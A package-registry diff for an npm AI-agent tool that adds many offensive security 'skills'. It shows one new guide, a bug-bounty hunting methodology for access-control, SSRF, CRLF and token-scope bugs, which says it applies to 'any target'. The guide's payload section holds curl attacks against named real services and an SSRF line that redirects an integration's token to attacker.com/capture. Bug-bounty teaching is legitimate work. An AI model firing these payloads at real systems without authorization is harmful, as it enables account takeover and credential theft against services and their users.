@hostclubeos/miraos 0.0.5-beta → 0.0.7-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-JC4KGTLW.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-4IVYVCCU.js → chunk-3NB3FFLR.js} +1 -1
  111. package/chunks/{chunk-XZNF4YNN.js → chunk-5RYDKYIR.js} +1 -1
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-67PM7M5R.js} +1 -1
  113. package/chunks/{chunk-D3YOXHQF.js → chunk-6T25QVBX.js} +1 -1
  114. package/chunks/{chunk-NYM67KKZ.js → chunk-7SAR6NXA.js} +1 -1
  115. package/chunks/{chunk-RKFNQQNA.js → chunk-BSLIVO6O.js} +1 -1
  116. package/chunks/{chunk-MQWKOOSR.js → chunk-DF6TBGS2.js} +1 -1
  117. package/chunks/{chunk-2TDRP3IX.js → chunk-G35E5UB3.js} +1 -1
  118. package/chunks/{chunk-2GVKPBW5.js → chunk-GN7ODRDE.js} +1 -1
  119. package/chunks/{chunk-PXBJPUGN.js → chunk-H2QXWIRZ.js} +1 -1
  120. package/chunks/{chunk-FRADUGRC.js → chunk-JDABSS6M.js} +1 -1
  121. package/chunks/{chunk-QEIX42MZ.js → chunk-JJQJFMPL.js} +1 -1
  122. package/chunks/{chunk-FXANOHXI.js → chunk-MMGNOY3U.js} +3 -3
  123. package/chunks/{chunk-744QTJR2.js → chunk-N7WQH6L4.js} +2 -2
  124. package/chunks/{chunk-SK3QOQR4.js → chunk-PSSJDUZB.js} +1 -1
  125. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  126. package/chunks/{chunk-N4RIISOE.js → chunk-TXL535SJ.js} +1 -1
  127. package/chunks/{chunk-NKWATWMD.js → chunk-VRAHMOQQ.js} +1 -1
  128. package/chunks/{chunk-62DMHXLL.js → chunk-WCLAVBNR.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-UX574XBB.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-OQWHYDXC.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-R2RFT63S.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-AONDQYFL.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-DRNC6PTL.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-K3GRKDNQ.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-AVNBWFYC.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-JVT5LAWJ.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-2GHQYHGW.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-NDK2B7XI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-P5X5OZUH.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-UHEH433U.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-ARYDETSZ.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HKWGCZF2.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-S7A4FBGP.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-DY6DWFW7.js} +2 -2
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-P2F6MYO6.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-2ZFKVIIW.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,333 @@
1
+ ---
2
+ name: hunt-misc
3
+ description: Hunting skill for misc vulnerabilities. Built from 225 public bug bounty reports. Use when hunting misc on any target.
4
+ sources: github, hackerone_public
5
+ report_count: 225
6
+ ---
7
+
8
+ ## Crown Jewel Targets
9
+
10
+ **Why this vuln class pays:**
11
+ MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
12
+
13
+ **Highest-value targets:**
14
+ - **SaaS platforms with role hierarchies** (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
15
+ - **Identity/auth flows** — invitation links, password reset, SAML SSO, OAuth token scopes
16
+ - **Multi-tenant systems** — one tenant touching another tenant's data
17
+ - **Internal APIs** — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
18
+ - **Domain/DNS management features** — transfer controls, subdomain delegation
19
+ - **Token/credential management** — PAT scopes, deploy keys, API tokens stored in config fields
20
+
21
+ **Asset types that pay most:**
22
+ - Core product APIs (not marketing subdomains)
23
+ - Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
24
+ - Partner/collaborator invitation systems
25
+ - OAuth app integrations and webhook endpoints
26
+
27
+ ---
28
+
29
+ ## Attack Surface Signals
30
+
31
+ **URL patterns to watch:**
32
+ ```
33
+ /admin/*/transfer
34
+ /invitations/*
35
+ /partners/*/accept
36
+ /api/v*/repos/*/lfs/*
37
+ /-/settings/integrations/sentry
38
+ /api/v*/user/installations
39
+ /hooks/pre-receive/*
40
+ /reset-password?token=
41
+ /auth/saml/callback
42
+ /api/v*/packages/pypi/*
43
+ ```
44
+
45
+ **Response header signals:**
46
+ ```
47
+ X-Request-Id (pitchfork/Rack — check for header injection)
48
+ X-Shopify-Shop-Api-Call-Limit
49
+ X-GitLab-*
50
+ ```
51
+
52
+ **JS patterns revealing internal surfaces:**
53
+ ```javascript
54
+ // Look for hardcoded internal API paths
55
+ fetch('/internal/api/
56
+ graphql { installations(
57
+ "scope": [], // empty scopes on tokens
58
+ "permissions": {"contents": "read"} // minimal scope PATs
59
+ ```
60
+
61
+ **Tech stack signals:**
62
+ - Ruby/Rack middleware (CRLF injection risk in `pitchfork`)
63
+ - SAML SSO enabled on enterprise instances
64
+ - PyPI proxy/mirror configurations (dependency confusion)
65
+ - Sentry error tracking integration fields (SSRF/token leak vector)
66
+ - Multi-role invitation systems (partners, staff, collaborators)
67
+
68
+ ---
69
+
70
+ ## Step-by-Step Hunting Methodology
71
+
72
+ 1. **Map all role/permission boundaries** — enumerate every role level (owner → admin → staff → guest → removed) and document what each role *should* see
73
+
74
+ **Marker Discipline:** when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `attacker`, `evil`, `admin`, `AAAA`. Good markers: `cpmark987abc`, `x4hd2k9pq`. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
75
+
76
+ **Body-Diff Rule:** a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
77
+
78
+ 2. **Test invitation flows end-to-end** — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access
79
+
80
+ 3. **Test post-removal access** — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)
81
+
82
+ 4. **Fuzz token scope enforcement** — create PATs/tokens with minimal or no scopes, then call API endpoints that *should* require elevated scopes
83
+
84
+ 5. **Test cross-tenant resource access** — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers
85
+
86
+ 6. **Probe internal/undocumented API endpoints** — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs
87
+
88
+ 7. **Check SAML/SSO logic** — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace
89
+
90
+ 8. **Audit configuration fields for SSRF/token exfiltration** — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak
91
+
92
+ 9. **Test password reset and email verification flows** — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse
93
+
94
+ 10. **Check HTTP header injection points** — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences
95
+
96
+ 11. **Verify DNS/subdomain hygiene** — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records
97
+
98
+ 12. **Test package registry proxy configurations** — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)
99
+
100
+ ---
101
+
102
+ ## Payload & Detection Patterns
103
+
104
+ **CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):**
105
+ ```bash
106
+ # Test CRLF in header values
107
+ curl -v "https://target.com/path" \
108
+ -H $'X-Custom: value\r\nInjected-Header: evil'
109
+
110
+ # URL-encoded variant
111
+ curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
112
+
113
+ # Test in pitchfork/Rack apps — inject via query param reflected in Location header
114
+ curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
115
+ ```
116
+
117
+ **Privilege escalation via invitation bypass:**
118
+ ```bash
119
+ # Accept invitation without email verification
120
+ curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
121
+ -H "Cookie: session=UNVERIFIED_SESSION" \
122
+ -d '{"role":"admin"}'
123
+
124
+ # Test invitation token for another user
125
+ curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
126
+ -H "Cookie: session=VICTIM_SESSION"
127
+ ```
128
+
129
+ **Token scope bypass (GitHub/GitLab PAT):**
130
+ ```bash
131
+ # Call privileged endpoint with minimal-scope token
132
+ curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
133
+ "https://api.github.com/repos/org/private-repo/issues"
134
+
135
+ # Test suspended installation access
136
+ curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
137
+ "https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"
138
+ ```
139
+
140
+ **SSRF via config URL fields (Sentry integration):**
141
+ ```bash
142
+ # Change Sentry URL to internal listener
143
+ curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
144
+ -H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
145
+ -d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'
146
+ ```
147
+
148
+ **ReDoS detection:**
149
+ ```bash
150
+ # Test Ruby URI parser
151
+ ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
152
+
153
+ # Test IPAddr
154
+ ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
155
+
156
+ # Timing-based detection
157
+ time curl "https://target.com/search?q=aaaa" # baseline
158
+ time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"
159
+ ```
160
+
161
+ **Grep patterns for source recon:**
162
+ ```bash
163
+ # Find SAML signature verification
164
+ grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
165
+
166
+ # Find hardcoded or weak scope checks
167
+ grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
168
+
169
+ # Find invitation acceptance without verification
170
+ grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
171
+
172
+ # Find internal API routes
173
+ grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"
174
+ ```
175
+
176
+ **Dangling subdomain / DNS check:**
177
+ ```bash
178
+ # Check for obsolete DNS records
179
+ dig CNAME handbook.gitlab.com
180
+ curl -sI https://handbook.gitlab.com | head -5
181
+ # Look for NXDOMAIN or 404 on hosting provider = takeover candidate
182
+
183
+ # SPF check
184
+ dig TXT rubylang.org | grep spf
185
+ # Missing or ~all = email spoofing risk
186
+ ```
187
+
188
+ ---
189
+
190
+ ## Common Root Causes
191
+
192
+ 1. **Soft deletes without permission invalidation** — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context
193
+
194
+ 2. **Invitation acceptance without verification gate** — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session
195
+
196
